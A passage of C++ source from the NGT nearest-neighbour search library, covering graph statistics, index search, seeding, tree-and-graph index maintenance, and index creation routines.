cerr << \"  verified \" << id << \" entries.\" << endl;\n\t}\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n\tObject *po = objectSpace->allocateObject(*fr[id]);\n#else\n\tObject *po = fr[id];\n#endif\n\tif (po == 0) {\n\t  cerr << \"Cannot get the object.\" << endl;\n\t  continue;\n\t}\n\tGraphNode *objects = getNode(id);\n\tif (objects == 0) {\n\t  cerr << \"Cannot get the node.\" << endl;\n\t}\n\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n\tobjectSpace->deleteObject(po);\n#endif\n#if defined(NGT_SHARED_MEMORY_ALLOCATOR)\n\tfor (GraphNode::iterator ri = objects->begin(repo.allocator);\n\t     ri != objects->end(repo.allocator); ++ri) {\n#else\n\tfor (GraphNode::iterator ri = objects->begin();\n\t     ri != objects->end(); ++ri) {\n#endif\n\t  if ((*ri).id == 0 || (*ri).id >= repo.size()) {\n\t    cerr << \"Neighbor's ID of the node is wrong.\" << endl;\n\t  }\n\t  if ((*ri).distance < 0.0) {\n\t    cerr << \"Neighbor's distance is munus.\" << endl;\n\t  }\n\t}\n      }\n    }\n\n\n    static void showStatisticsOfGraph(NGT::GraphIndex &outGraph, char mode = '-', size_t edgeSize = UINT_MAX)\n    {\n      long double distance = 0.0;\n      size_t numberOfNodes = 0;\n      size_t numberOfOutdegree = 0;\n      size_t numberOfNodesWithoutEdges = 0;\n      size_t maxNumberOfOutdegree = 0;\n      size_t minNumberOfOutdegree = SIZE_MAX;\n      vector<int64_t> indegreeCount;\n      vector<size_t> outdegreeHistogram;\n      vector<size_t> indegreeHistogram;\n      vector<vector<float> > indegree;\n      NGT::GraphRepository &graph = outGraph.repository;\n      indegreeCount.resize(graph.size(), 0);\n      indegree.resize(graph.size());\n      for (size_t id = 1; id < graph.size(); id++) {\n\tNGT::GraphNode *node = 0;\n\ttry {\n\t  node = outGraph.getNode(id);\n\t} catch(NGT::Exception &err) {\n\t  cerr << \"ngt info: Warning. Cannot get the node. ID=\" << id << \":\" << err.what() << endl;\n\t  indegreeCount[id] = -1;\n\t  continue;\n\t}\n\tnumberOfNodes++;\n\tif (numberOfNodes % 1000000 == 0) {\n\t  cerr << \"Processed \" << numberOfNodes << endl;\n\t}\n\tsize_t esize = node->size() > edgeSize ? edgeSize : node->size();\n\tif (esize == 0) {\n\t  numberOfNodesWithoutEdges++;\n\t}\n\tif (esize > maxNumberOfOutdegree) {\n\t  maxNumberOfOutdegree = esize;\n\t}\n\tif (esize < minNumberOfOutdegree) {\n\t  minNumberOfOutdegree = esize;\n\t}\n\tif (outdegreeHistogram.size() <= esize) {\n\t  outdegreeHistogram.resize(esize + 1);\n\t}\n\toutdegreeHistogram[esize]++;\n\tif (mode == 'e') {\n\t  cout << id << \",\" << esize << \": \";\n\t}\n\tfor (size_t i = 0; i < esize; i++) {\n#if defined(NGT_SHARED_MEMORY_ALLOCATOR)\n\t  NGT::ObjectDistance &n = (*node).at(i, graph.allocator);\n#else\n\t  NGT::ObjectDistance &n = (*node)[i];\n#endif\n\t  if (n.id == 0) {\n\t    cerr << \"ngt info: Warning. id is zero.\" << endl;\n\t  }\n\t  indegreeCount[n.id]++;\n\t  indegree[n.id].push_back(n.distance);\n\t  numberOfOutdegree++;\n\t  double d = n.distance;\n\t  if (mode == 'e') {\n\t    cout << n.id << \":\" << d << \" \";\n\t  }\n\t  distance += d;\n\t}\n\tif (mode == 'e') {\n\t  cout << endl;\n\t}\n      }\n\n      // calculate outdegree distance 10\n      size_t d10count = 0;\n      long double distance10 = 0.0;\n      size_t d10SkipCount = 0;\n      const size_t dcsize = 10;\n      for (size_t id = 1; id < graph.size(); id++) {\n\tNGT::GraphNode *n = 0;\n\ttry {\n\t  n = outGraph.getNode(id);\n\t} catch(NGT::Exception &err) {\n\t  cerr << \"ngt info: Warning. Cannot get the node. ID=\" << id << \":\" << err.what() << endl;\n\t  continue;\n\t}\n\tNGT::GraphNode &node = *n;\n\tif (node.size() < dcsize - 1) {\n\t  d10SkipCount++;\n\t  continue;\n\t}\n\tfor (size_t i = 0; i < node.size(); i++) {  \n\t  if (i >= dcsize) {\n\t    break;\n\t  }\n#if defined(NGT_SHARED_MEMORY_ALLOCATOR)\n\t  distance10 += node.at(i, graph.allocator).distance;\n#else\n\t  distance10 += node[i].distance;\n#endif\n\t  d10count++;\n\t}\n      }\n      distance10 /= (long double)d10count;\n\n      // calculate indegree distance 10\n      size_t ind10count = 0;\n      long double indegreeDistance10 = 0.0;\n      size_t ind10SkipCount = 0;\n      for (size_t id = 1; id < indegree.size(); id++) {\n\tvector<float> &node = indegree[id];\n\tif (node.size() < dcsize - 1) {\n\t  ind10SkipCount++;\n\t  continue;\n\t}\n\tstd::sort(node.begin(), node.end());\n\tfor (size_t i = 0; i < node.size(); i++) {  \n\t  assert(i == 0 || node[i - 1] <= node[i]);\n\t  if (i >= dcsize) {\n\t    break;\n\t  }\n\t  indegreeDistance10 += node[i];\n\t  ind10count++;\n\t}\n      }\n      indegreeDistance10 /= (long double)ind10count;\n\n      // calculate variance\n      double averageNumberOfOutdegree = (double)numberOfOutdegree / (double)numberOfNodes;\n      double sumOfSquareOfOutdegree = 0;\n      double sumOfSquareOfIndegree = 0;\n      for (size_t id = 1; id < graph.size(); id++) {\n\tNGT::GraphNode *node = 0;\n\ttry {\n\t  node = outGraph.getNode(id);\n\t} catch(NGT::Exception &err) {\n\t  cerr << \"ngt info: Warning. Cannot get the node. ID=\" << id << \":\" << err.what() << endl;\n\t  continue;\n\t}\n\tsize_t esize = node->size();\n\tsumOfSquareOfOutdegree += ((double)esize - averageNumberOfOutdegree) * ((double)esize - averageNumberOfOutdegree);\n\tsumOfSquareOfIndegree += ((double)indegreeCount[id] - averageNumberOfOutdegree) * ((double)indegreeCount[id] - averageNumberOfOutdegree);\t\n      }\n\n      size_t numberOfNodesWithoutIndegree = 0;\n      size_t maxNumberOfIndegree = 0;\n      size_t minNumberOfIndegree = INT64_MAX;\n      for (size_t id = 1; id < graph.size(); id++) {\n\tif (indegreeCount[id] < 0) {\n\t  continue;\n\t}\n\tif (indegreeCount[id] == 0) {\n\t  numberOfNodesWithoutIndegree++;\n\t}\n\tif (indegreeCount[id] > static_cast<int>(maxNumberOfIndegree)) {\n\t  maxNumberOfIndegree = indegreeCount[id];\n\t}\n\tif (indegreeCount[id] < static_cast<int64_t>(minNumberOfIndegree)) {\n\t  minNumberOfIndegree = indegreeCount[id];\n\t}\n\tif (static_cast<int>(indegreeHistogram.size()) <= indegreeCount[id]) {\n\t  indegreeHistogram.resize(indegreeCount[id] + 1);\n\t}\n\tindegreeHistogram[indegreeCount[id]]++;\n      }\n\n      size_t count = 0;\n      int medianOutdegree = -1;\n      size_t modeOutdegree = 0;\n      size_t max = 0;\n      double c95 = 0.0;\n      double c99 = 0.0;\n      for (size_t i = 0; i < outdegreeHistogram.size(); i++) {\n\tcount += outdegreeHistogram[i];\n\tif (medianOutdegree == -1 && count >= numberOfNodes / 2) {\n\t  medianOutdegree = i;\n\t}\n\tif (max < outdegreeHistogram[i]) {\n\t  max = outdegreeHistogram[i];\n\t  modeOutdegree = i;\n\t}\n\tif (count > numberOfNodes * 0.95) {\n\t  if (c95 == 0.0) {\n\t    c95 += i * (count - numberOfNodes * 0.95);\n\t  } else {\n\t    c95 += i * outdegreeHistogram[i];\n\t  }\n\t}\n\tif (count > numberOfNodes * 0.99) {\n\t  if (c99 == 0.0) {\n\t    c99 += i * (count - numberOfNodes * 0.99);\n\t  } else {\n\t    c99 += i * outdegreeHistogram[i];\n\t  }\n\t}\n      }\n      c95 /= (double)numberOfNodes * 0.05;\n      c99 /= (double)numberOfNodes * 0.01;\n\n      count = 0;\n      int medianIndegree = -1;\n      size_t modeIndegree = 0;\n      max = 0;\n      double c5 = 0.0;\n      double c1 = 0.0;\n      for (size_t i = 0; i < indegreeHistogram.size(); i++) {\n\tif (count < numberOfNodes * 0.05) {\n\t  if (count + indegreeHistogram[i] >= numberOfNodes * 0.05) {\n\t    c5 += i * (numberOfNodes * 0.05 - count);\n\t  } else {\n\t    c5 += i * indegreeHistogram[i];\n\t  }\n\t}\n\tif (count < numberOfNodes * 0.01) {\n\t  if (count + indegreeHistogram[i] >= numberOfNodes * 0.01) {\n\t    c1 += i * (numberOfNodes * 0.01 - count);\n\t  } else {\n\t    c1 += i * indegreeHistogram[i];\n\t  }\n\t}\n\tcount += indegreeHistogram[i];\n\tif (medianIndegree == -1 && count >= numberOfNodes / 2) {\n\t  medianIndegree = i;\n\t}\n\tif (max < indegreeHistogram[i]) {\n\t  max = indegreeHistogram[i];\n\t  modeIndegree = i;\n\t}\n      }\n      c5 /= (double)numberOfNodes * 0.05;\n      c1 /= (double)numberOfNodes * 0.01;\n\n      cerr << \"# of nodes=\" << numberOfNodes << endl;\n      cerr << \"# of edges=\" << numberOfOutdegree << endl;\n      cerr << \"# of nodes without edges=\" << numberOfNodesWithoutEdges << endl;\n      cerr << \"Max outdegree=\" << maxNumberOfOutdegree << endl;\n      cerr << \"Min outdegree=\" << minNumberOfOutdegree << endl;\n      cerr << \"Average number of edges=\" << (double)numberOfOutdegree / (double)numberOfNodes << endl;\n      cerr << \"Average distance of edges=\" << setprecision(10) << distance / (double)numberOfOutdegree << endl;\n      cerr << \"# of nodes where indegree is 0=\" << numberOfNodesWithoutIndegree << endl;\n      cerr << \"Max indegree=\" << maxNumberOfIndegree << endl;\n      cerr << \"Min indegree=\" << minNumberOfIndegree << endl;\n      cerr << \"#-nodes,#-edges,#-no-indegree,avg-edges,avg-dist,max-out,min-out,v-out,max-in,min-in,v-in,med-out,\"\n\t\"med-in,mode-out,mode-in,c95,c5,o-distance(10),o-skip,i-distance(10),i-skip:\" \n\t   << numberOfNodes << \":\" << numberOfOutdegree << \":\" << numberOfNodesWithoutIndegree << \":\" \n\t   << setprecision(10) << (double)numberOfOutdegree / (double)numberOfNodes << \":\"\n\t   << distance / (double)numberOfOutdegree << \":\"\n\t   << maxNumberOfOutdegree << \":\" << minNumberOfOutdegree << \":\" << sumOfSquareOfOutdegree / (double)numberOfOutdegree<< \":\"\n\t   << maxNumberOfIndegree << \":\" << minNumberOfIndegree << \":\" << sumOfSquareOfIndegree / (double)numberOfOutdegree << \":\"\n\t   << medianOutdegree << \":\" << medianIndegree << \":\" << modeOutdegree << \":\" << modeIndegree \n\t   << \":\" << c95 << \":\" << c5 << \":\" << c99 << \":\" << c1 << \":\" << distance10 << \":\" << d10SkipCount << \":\"\n\t   << indegreeDistance10 << \":\" << ind10SkipCount << endl;\n\n      if (mode == 'h') {\n\tcerr << \"#\\tout\\tin\" << endl;\n\tfor (size_t i = 0; i < outdegreeHistogram.size() || i < indegreeHistogram.size(); i++) {\n\t  size_t out = outdegreeHistogram.size() <= i ? 0 : outdegreeHistogram[i];\n\t  size_t in = indegreeHistogram.size() <= i ? 0 : indegreeHistogram[i];\n\t  cerr << i << \"\\t\" << out << \"\\t\" << in << endl;\n\t}\n      }\n    }\n\n    size_t getObjectRepositorySize() { return objectSpace->getRepository().size(); }\n\n    size_t getSizeOfElement() { return objectSpace->getSizeOfElement(); }\n\n    Object *allocateObject(const string &textLine, const string &sep) {\n      return objectSpace->allocateNormalizedObject(textLine, sep);\n    }\n    Object *allocateObject(const vector<double> &obj) { \n      return objectSpace->allocateNormalizedObject(obj);\n    }\n    Object *allocateObject(const vector<float> &obj) { \n      return objectSpace->allocateNormalizedObject(obj);\n    }\n    Object *allocateObject(const float *obj, size_t size) { \n      return objectSpace->allocateNormalizedObject(obj, size);\n    }\n\n    void deleteObject(Object *po) {\n      return objectSpace->deleteObject(po);\n    }\n\n    ObjectSpace &getObjectSpace() { return *objectSpace; }\n\n    void setProperty(NGT::Property &prop) {\n      GraphIndex::property.set(prop);\n      NeighborhoodGraph::property.set(prop);\n      assert(property.dimension != 0);\n    }\n\n    void getProperty(NGT::Property &prop) {\n      GraphIndex::property.get(prop);\n      NeighborhoodGraph::property.get(prop);\n    }\n\n    NeighborhoodGraph::Property &getGraphProperty() { return NeighborhoodGraph::property; }\n\n    virtual size_t getSharedMemorySize(ostream &os, SharedMemoryAllocator::GetMemorySizeType t) {\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n      size_t size = repository.getAllocator().getMemorySize(t);\n#else\n      size_t size = 0;\n#endif\n      os << \"graph=\" << size << endl;\n      return size;\n    }\n\n    protected:\n\n    template <class REPOSITORY> void getSeedsFromGraph(REPOSITORY &repo, ObjectDistances &seeds) {\n      if (repo.size() != 0) {\n\tsize_t seedSize = repo.size() - 1 < (size_t)NeighborhoodGraph::property.seedSize ? \n\t  repo.size() - 1 : (size_t)NeighborhoodGraph::property.seedSize;\n\tif (NeighborhoodGraph::property.seedType == NeighborhoodGraph::SeedTypeRandomNodes ||\n\t    NeighborhoodGraph::property.seedType == NeighborhoodGraph::SeedTypeNone) {\n\t  getRandomSeeds(repo, seeds, seedSize);\n\t} else if (NeighborhoodGraph::property.seedType == NeighborhoodGraph::SeedTypeFixedNodes) {\n\t  // To check speed using fixed seeds.\n\t  for (size_t i = 1; i <= seedSize; i++) {\n\t    ObjectDistance obj(i, 0.0);\n\t    seeds.push_back(obj);\n\t  }\n\t} else if (NeighborhoodGraph::property.seedType == NeighborhoodGraph::SeedTypeFirstNode) {\n\t  ObjectDistance obj(1, 0.0);\n\t  seeds.push_back(obj);\n\t} else {\n\t  getRandomSeeds(repo, seeds, seedSize);\n\t}\n      }\n    }\n\n    // GraphIndex\n    virtual void search(NGT::SearchContainer &sc, ObjectDistances &seeds) {\n      if (sc.size == 0) {\n\twhile (!sc.workingResult.empty()) sc.workingResult.pop();\n\treturn;\n      }\n      if (seeds.size() == 0) {\n#if defined(NGT_SHARED_MEMORY_ALLOCATOR) || !defined(NGT_GRAPH_READ_ONLY_GRAPH)\n\tgetSeedsFromGraph(repository, seeds);\n#else\n\tif (readOnly) {\n\t  getSeedsFromGraph(searchRepository, seeds);\n\t} else {\n\t  getSeedsFromGraph(repository, seeds);\n\t}\n#endif\n      }\n      NGT::SearchContainer so(sc);\n      try {\n\tif (readOnly) {\n#if defined(NGT_SHARED_MEMORY_ALLOCATOR) || !defined(NGT_GRAPH_READ_ONLY_GRAPH)\n\t  NeighborhoodGraph::search(so, seeds);\n#else\n\t  (*searchUnupdatableGraph)(*this, so, seeds);\n#endif\n\t} else {\n\t  NeighborhoodGraph::search(so, seeds);\n\t}\n\tsc.workingResult = std::move(so.workingResult);\n\tsc.distanceComputationCount = so.distanceComputationCount;\n      } catch(Exception &err) {\n\tcerr << err.what() << endl;\n\tException e(err);\n\tthrow e;\n      }\n    }\n\n    Index::Property\t\t\tproperty;\n\n    bool readOnly;\n#ifdef NGT_GRAPH_READ_ONLY_GRAPH\n    void (*searchUnupdatableGraph)(NGT::NeighborhoodGraph&, NGT::SearchContainer&, NGT::ObjectDistances&);\n#endif\n  };\n\n  class GraphAndTreeIndex : public GraphIndex, public DVPTree {\n  public:\n\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n    GraphAndTreeIndex(const string &allocator, bool rdOnly = false):GraphIndex(allocator, false) {\n      initialize(allocator, 0);\n    }\n    GraphAndTreeIndex(const string &allocator, NGT::Property &prop);\n    void initialize(const string &allocator, size_t sharedMemorySize) {\n      DVPTree::objectSpace = GraphIndex::objectSpace;\n      DVPTree::open(allocator + \"/tre\", sharedMemorySize);\n    }\n#else\n    GraphAndTreeIndex(const string &database, bool rdOnly = false) : GraphIndex(database, rdOnly) {\n      GraphAndTreeIndex::loadIndex(database, rdOnly);\n    }\n\n    GraphAndTreeIndex(NGT::Property &prop) : GraphIndex(prop) {\n      DVPTree::objectSpace = GraphIndex::objectSpace;\n    }\n#endif\n    virtual ~GraphAndTreeIndex() {}\n\n    void create() {}\n\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n    void alignObjects()\n    {\n    }\n#else \n    void alignObjects()\n    {\n      NGT::ObjectSpace &space = getObjectSpace();\n      NGT::ObjectRepository &repo = space.getRepository();\n      Object **object = repo.getPtr();\n      vector<bool> exist(repo.size(), false);\n      vector<NGT::Node::ID> leafNodeIDs;\n      DVPTree::getAllLeafNodeIDs(leafNodeIDs);\n      size_t objectCount = 0;\n      for (size_t i = 0; i < leafNodeIDs.size(); i++) {\n\tObjectDistances objects;\n\tDVPTree::getObjectIDsFromLeaf(leafNodeIDs[i], objects);\n\tfor (size_t j = 0; j < objects.size(); j++) {\n\t  exist[objects[j].id] = true;\n\t  objectCount++;\n\t}\n      }\n      multimap<uint32_t, uint32_t> notexist; \n      if (objectCount != repo.size()) {\n        for (size_t id = 1; id < exist.size(); id++) {\n\t  if (!exist[id]) {\n            DVPTree::SearchContainer tso(*object[id]);\n            tso.mode = DVPTree::SearchContainer::SearchLeaf;\n            tso.radius = 0.0;\n            tso.size = 1;\n      \t    try {\n\t      DVPTree::search(tso);\n      \t    } catch (Exception &err) {\n\t      stringstream msg;\n\t      msg << \"GraphAndTreeIndex::getSeeds: Cannot search for tree.:\" << err.what();\n\t      NGTThrowException(msg);\n      \t    }\n\t    notexist.insert(pair<uint32_t, uint32_t>(tso.nodeID.getID(), id));\n\t    objectCount++;\n\t  }\n\t}\n      }\n      assert(objectCount == repo.size() - 1);\n\n      objectCount = 1;\n      vector<pair<uint32_t, uint32_t> > order;  \n      for (size_t i = 0; i < leafNodeIDs.size(); i++) {\n\tObjectDistances objects;\n\tDVPTree::getObjectIDsFromLeaf(leafNodeIDs[i], objects);\n\tfor (size_t j = 0; j < objects.size(); j++) {\n\t  order.push_back(pair<uint32_t, uint32_t>(objects[j].id, objectCount));\n\t  objectCount++;\n\t}\n\tauto nei = notexist.equal_range(leafNodeIDs[i].getID());\n\tfor (auto ii = nei.first; ii != nei.second; ++ii) {\n\t  order.push_back(pair<uint32_t, uint32_t>((*ii).second, objectCount));\n\t  objectCount++;\n\t}\n      }\n      assert(objectCount == repo.size());\n      Object *tmp = space.allocateObject();\n      unordered_set<uint32_t> uncopiedObjects;\n      for (size_t i = 1; i < repo.size(); i++) {\n\tuncopiedObjects.insert(i);\n      }\n      size_t copycount = 0;\n      while (!uncopiedObjects.empty()) {\n\tsize_t startID = *uncopiedObjects.begin();\n\tif (startID == order[startID - 1].first) {\n\t  uncopiedObjects.erase(startID);\n\t  copycount++;\n\t  continue;\n\t}\n\tsize_t id = startID;\n\tspace.copy(*tmp, *object[id]);\n\tuncopiedObjects.erase(id);    \n\tdo {\n\t  space.copy(*object[id], *object[order[id - 1].first]);\n\t  copycount++;\n\t  id = order[id - 1].first;\n\t  uncopiedObjects.erase(id);\n\t} while (order[id - 1].first != startID);\n\tspace.copy(*object[id], *tmp);\n\tcopycount++;\n      }\n      space.deleteObject(tmp);\n\n      assert(copycount == repo.size() - 1);\n\n      sort(order.begin(), order.end());\n      uncopiedObjects.clear();\n      for (size_t i = 1; i < repo.size(); i++) {\n\tuncopiedObjects.insert(i);\n      }\n      copycount = 0;\n      Object *tmpPtr;\n      while (!uncopiedObjects.empty()) {\n\tsize_t startID = *uncopiedObjects.begin();\n\tif (startID == order[startID - 1].second) {\n\t  uncopiedObjects.erase(startID);\n\t  copycount++;\n\t  continue;\n\t}\n\tsize_t id = startID;\n\ttmpPtr = object[id];\n\tuncopiedObjects.erase(id);    \n\tdo {\n\t  object[id] = object[order[id - 1].second];\n\t  copycount++;\n\t  id = order[id - 1].second;\n\t  uncopiedObjects.erase(id);\n\t} while (order[id - 1].second != startID);\n\tobject[id] = tmpPtr;\n\tcopycount++;\n      }\n      assert(copycount == repo.size() - 1);\n    }\n#endif // NGT_SHARED_MEMORY_ALLOCATOR\n\n    void load(const string &ifile) {\n      GraphIndex::load(ifile);\n      DVPTree::objectSpace = GraphIndex::objectSpace;\n    }\n\n    void saveIndex(const string &ofile) {\n      GraphIndex::saveIndex(ofile);\n#ifndef NGT_SHARED_MEMORY_ALLOCATOR\n      string fname = ofile + \"/tre\";\n      ofstream ost(fname);\n      if (!ost.is_open()) {\n\tstringstream msg;\n\tmsg << \"saveIndex:: Cannot open. \" << fname;\n\tNGTThrowException(msg);\n      }\n      DVPTree::serialize(ost);\n#endif\n    }\n\n    void loadIndex(const string &ifile, bool readOnly) {\n      DVPTree::objectSpace = GraphIndex::objectSpace;\n      ifstream ist(ifile + \"/tre\");\n      DVPTree::deserialize(ist);\n#ifdef NGT_GRAPH_READ_ONLY_GRAPH\n      if (readOnly) {\n\tif (property.objectAlignment == NGT::Index::Property::ObjectAlignmentTrue) {\n\t  alignObjects();\n\t}\n\tGraphIndex::NeighborhoodGraph::loadSearchGraph(ifile);\n      }\n#endif\n    }\n    \n    void exportIndex(const string &ofile) {\n      GraphIndex::exportIndex(ofile);\n      ofstream ost(ofile + \"/tre\");\n      DVPTree::serializeAsText(ost);\n    }\n\n    void importIndex(const string &ifile) {\n      string fname = ifile + \"/tre\";\n      ifstream ist(fname);\n      if (!ist.is_open()) {\n\tstringstream msg;\n\tmsg << \"importIndex:: Cannot open. \" << fname;\n\tNGTThrowException(msg);\n      }\n      DVPTree::deserializeAsText(ist);\n      GraphIndex::importIndex(ifile);\n    }\n\n    void remove(const ObjectID id) {\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n      Object &f = *GraphIndex::objectSpace->allocateObject(*GraphIndex::objectSpace->getRepository().get(id));\n#else\n      Object &f = *GraphIndex::objectSpace->getRepository().get(id);\n#endif\n      NGT::SearchContainer so(f);\n      ObjectDistances results;\n      so.setResults(&results);\n      so.id = 0;\n      so.size = 2;\n      so.radius = 0.0;\n      so.explorationCoefficient = 1.1;\n      ObjectDistances\tseeds;\n      seeds.push_back(ObjectDistance(id, 0.0));\n      GraphIndex::search(so, seeds);\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n      GraphIndex::objectSpace->deleteObject(&f);\n#endif\n      if (results.size() == 0) {\n\tNGTThrowException(\"No found the specified id\");\n      }\n      if (results.size() == 1) {\n\ttry {\n\t  DVPTree::remove(id);\n\t} catch(Exception &err) {\n\t  cerr << \"remove:: cannot remove from tree. id=\" << id << \" \" << err.what() << endl;\n\t  throw err;\n\t}\n      } else {\n\ttry {\n\t  DVPTree::replace(id, results[1].id);\n\t} catch(Exception &err) {\n\t  cerr << \"remove:: warning: cannot replace from tree. id=\" << id << \" \" << err.what() << endl;\n\t}\n      }\n      GraphIndex::remove(id);\n    }\n\n    void searchForNNGInsertion(Object &po, ObjectDistances &result) {\n      NGT::SearchContainer sc(po);\n      sc.setResults(&result);\n      sc.size = NeighborhoodGraph::property.edgeSizeForCreation;\n      sc.radius = FLT_MAX;\n      sc.explorationCoefficient = NeighborhoodGraph::property.insertionRadiusCoefficient;\n      try {\n\tGraphAndTreeIndex::search(sc);\n      } catch(Exception &err) {\n\tthrow err;\n      }\n      if (static_cast<int>(result.size()) < NeighborhoodGraph::property.edgeSizeForCreation && \n\t  result.size() < repository.size()) {\n\tif (sc.edgeSize != 0) {\n\t  try {\n\t    GraphAndTreeIndex::search(sc);\n\t  } catch(Exception &err) {\n\t    throw err;\n\t  }\n\t}\n      }\n    }\n\n    void insert(ObjectID id) {\n      ObjectRepository &fr = GraphIndex::objectSpace->getRepository();\n      if (fr[id] == 0) {\n\tcerr << \"GraphAndTreeIndex::insert empty \" << id << endl;\n\treturn;\n      }\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n      Object &po = *GraphIndex::objectSpace->allocateObject(*fr[id]);\n#else\n      Object &po = *fr[id];\n#endif\n      ObjectDistances rs;\n      if (NeighborhoodGraph::property.graphType == NeighborhoodGraph::GraphTypeANNG) {\n\tsearchForNNGInsertion(po, rs);\n      } else {\n\tsearchForKNNGInsertion(po, id, rs);\n      }\n\n      GraphIndex::insertNode(id, rs);\n\n      if (((rs.size() > 0) && (rs[0].distance != 0.0)) || rs.size() == 0) {\n\tDVPTree::InsertContainer tiobj(po, id);\n\ttry {\n\t  DVPTree::insert(tiobj);\n\t} catch (Exception &err) {\n\t  cerr << \"GraphAndTreeIndex::insert: Fatal error\" << endl;\n\t  cerr << err.what() << endl;\n\t  return;\n\t}\n      }\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n      GraphIndex::objectSpace->deleteObject(&po);\n#endif\n    }\n\n    void createIndex(size_t threadNumber);\n\n    void createIndex(const vector<pair<NGT::Object*, size_t> > &objects, vector<InsertionResult> &ids,\n\t\t     double range, size_t threadNumber);\n\n    void createTreeIndex();\n\n    // GraphAndTreeIndex\n    void getSeedsFromTree(NGT::SearchContainer &sc, ObjectDistances &seeds) {\n      DVPTree::SearchContainer tso(sc.object);\n      tso.mode = DVPTree::SearchContainer::SearchLeaf;\n      tso.radius = 0.0;\n      tso.size = 1;\n      tso.distanceComputationCount = 0;\n      try {\n\tDVPTree::search(tso);\n      } catch (Exception &err) {\n\tstringstream msg;\n\tmsg << \"GraphAndTreeIndex::getSeeds: Cannot search for tree.:\" << err.what();\n\tNGTThrowException(msg);\n      }\n\n      try {\n\tDVPTree::getObjectIDsFromLeaf(tso.nodeID, seeds);\n      } catch (Exception &err) {\n\tstringstream msg;\n\tmsg << \"GraphAndTreeIndex::getSeeds: Cannot get a leaf.:\" << err.what();\n\tNGTThrowException(msg);\n      }\n      sc.distanceComputationCount += tso.distanceComputationCount;\n      if (NeighborhoodGraph::property.seedType == NeighborhoodGraph::SeedTypeAllLeafNodes) {\n\treturn;\n      }\n      // if seedSize is zero, the result size of the query is used as seedSize.\n      size_t seedSize = NeighborhoodGraph::property.seedSize == 0 ? sc.size : NeighborhoodGraph::property.seedSize;\n      seedSize = seedSize > sc.size ? sc.size : seedSize;\n      if (seeds.size() > seedSize) {\n\tsrand(tso.nodeID.getID());\n\t// to accelerate thinning data.\n\tfor (size_t i = seeds.size(); i > seedSize; i--) {\n\t  double random = ((double)rand() + 1.0) / ((double)RAND_MAX + 2.0);\n\t  size_t idx = floor(i * random);\n\t  seeds[idx] = seeds[i - 1];\n\t}\n\tseeds.resize(seedSize);\n      } else if (seeds.size() < seedSize) {\n\t// A lack of the seeds is compansated by random seeds.\n\t//getRandomSeeds(seeds, seedSize);\n      }\n    }\n\n    // GraphAndTreeIndex\n    void search(NGT::SearchContainer &sc) {\n      sc.distanceComputationCount = 0;\n      ObjectDistances\tseeds;\n      getSeedsFromTree(sc, seeds);\n      GraphIndex::search(sc, seeds);\n    }\n\n    size_t getSharedMemorySize(ostream &os, SharedMemoryAllocator::GetMemorySizeType t) {\n      return GraphIndex::getSharedMemorySize(os, t) + DVPTree::getSharedMemorySize(os, t);\n    }\n\n    void verify() {\n      DVPTree::verify(GraphIndex::objectSpace->getRepository().size());\n      GraphIndex::verify();\n    }\n\n  };\n\n  class Property : public Index::Property, public NeighborhoodGraph::Property {\n  public:\n    void setDefault() {\n      Index::Property::setDefault();\n      NeighborhoodGraph::Property::setDefault();\n    }\n    void clear() {\n      Index::Property::clear();\n      NeighborhoodGraph::Property::clear();\n    }\n    void set(NGT::Property &p) {\n      Index::Property::set(p);\n      NeighborhoodGraph::Property::set(p);\n    }\n    void load(const string &file) {\n      NGT::PropertySet prop;\n      prop.load(file + \"/prf\");\n      Index::Property::importProperty(prop);\n      NeighborhoodGraph::Property::importProperty(prop);\n    }\n    void importProperty(const string &file) {\n      NGT::PropertySet prop;\n      prop.load(file + \"/prf\");\n      Index::Property::importProperty(prop);\n      NeighborhoodGraph::Property::importProperty(prop);\n    }\n  };\n\n} // namespace NGT\n\ninline void \nNGT::Index::open(const string &database, bool rdOnly) {\n  Index* idx = 0;\n  NGT::Property prop;\n  prop.load(database);\n  if (prop.indexType == NGT::Index::Property::GraphAndTree) {\n    idx = new NGT::GraphAndTreeIndex(database, rdOnly);\n  } else if (prop.indexType == NGT::Index::Property::Graph) {\n    idx = new NGT::GraphIndex(database, rdOnly);\n  } else {\n    NGTThrowException(\"Index::Open: Not found IndexType in property file.\");\n  }\n  if (idx == 0) {\n    stringstream msg;\n    msg << \"Index::open: Cannot open. \" << database;\n    NGTThrowException(msg);\n  }\n  index = idx;\n  path = database;\n}\n\n\ninline void \n  NGT::Index::createGraphAndTree(const string &database, NGT::Property &prop, const string &dataFile,\n\t\t\t\t\t   size_t dataSize) {\n  if (prop.dimension == 0) {\n    NGTThrowException(\"Index::createGraphAndTree. Dimension is not specified.\");\n  }\n  prop.indexType = NGT::Index::Property::IndexType::GraphAndTree;\n  Index *idx = 0;\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n  mkdir(database);\n  idx = new NGT::GraphAndTreeIndex(database, prop);\n#else\n  idx = new NGT::GraphAndTreeIndex(prop);\n#endif\n  assert(idx != 0);\n  try {\n    loadAndCreateIndex(*idx, database, dataFile, prop.threadPoolSize, dataSize);\n  } catch(Exception &err) {\n    delete idx;\n    throw err;\n  }\n  delete idx;\n}\ntemplate<typename T>\nsize_t NGT::Index::append(vector<T> &object) \n{\n  if (getObjectSpace().getRepository().size() == 0) {\n    getObjectSpace().getRepository().initialize();\n  }\n\n  auto *o = getObjectSpace().getRepository().allocateNormalizedPersistentObject(object);\n  getObjectSpace().getRepository().push_back(dynamic_cast<PersistentObject*>(o));\n\n  return getObjectSpace().getRepository().size() - 1;\n}\ntemplate<typename T>\nsize_t NGT::Index::insert(vector<T> &object) \n{\n  if (getObjectSpace().getRepository().size() == 0) {\n    getObjectSpace().getRepository().initialize();\n  }\n\n  auto *o = getObjectSpace().getRepository().allocateNormalizedPersistentObject(object);\n  return getObjectSpace().getRepository().insert(dynamic_cast<PersistentObject*>(o));\n}\n\ninline void \n  NGT::Index::createGraph(const string &database, NGT::Property &prop, const string &dataFile, size_t dataSize) {\n  if (prop.dimension == 0) {\n    NGTThrowException(\"Index::createGraphAndTree. Dimension is not specified.\");\n  }\n  prop.indexType = 